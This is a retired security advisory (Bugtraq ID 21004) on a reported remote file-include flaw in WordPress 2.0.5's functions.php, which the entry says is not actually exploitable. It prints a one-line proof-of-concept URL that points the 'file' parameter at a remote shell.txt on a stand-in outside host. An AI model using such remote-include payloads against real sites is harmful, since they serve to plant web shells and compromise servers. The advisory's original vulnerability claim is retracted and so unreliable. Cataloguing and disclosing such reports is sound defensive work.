Retired: WordPress Functions.PHP Remote File Include Vulnerability

BID:21004

Info

Retired: WordPress Functions.PHP Remote File Include Vulnerability

Bugtraq ID: 21004
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Nov 11 2006 12:00AM
Updated: Nov 13 2006 08:51PM
Credit: _ANtrAX_ is credited with the discovery of this vulnerability.
Vulnerable: WordPress WordPress 2.0.5
Not Vulnerable:

Discussion

Retired: WordPress Functions.PHP Remote File Include Vulnerability

WordPress is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

WordPress version 2.0.5 is vulnerable.

The vulnerability described in this BID is not exploitable, as the parameter specified can not contain user-specified data. This BID is therefore being retired.

Exploit / POC

Retired: WordPress Functions.PHP Remote File Include Vulnerability

An attacker can exploit this issue via a web client.

The following proof of concept is available:

http://www.example.com/wp-includes/functions.php?file=http://www.example2.com/shell.txt?

Solution / Fix

Retired: WordPress Functions.PHP Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected]:[email protected].

References

Retired: WordPress Functions.PHP Remote File Include Vulnerability

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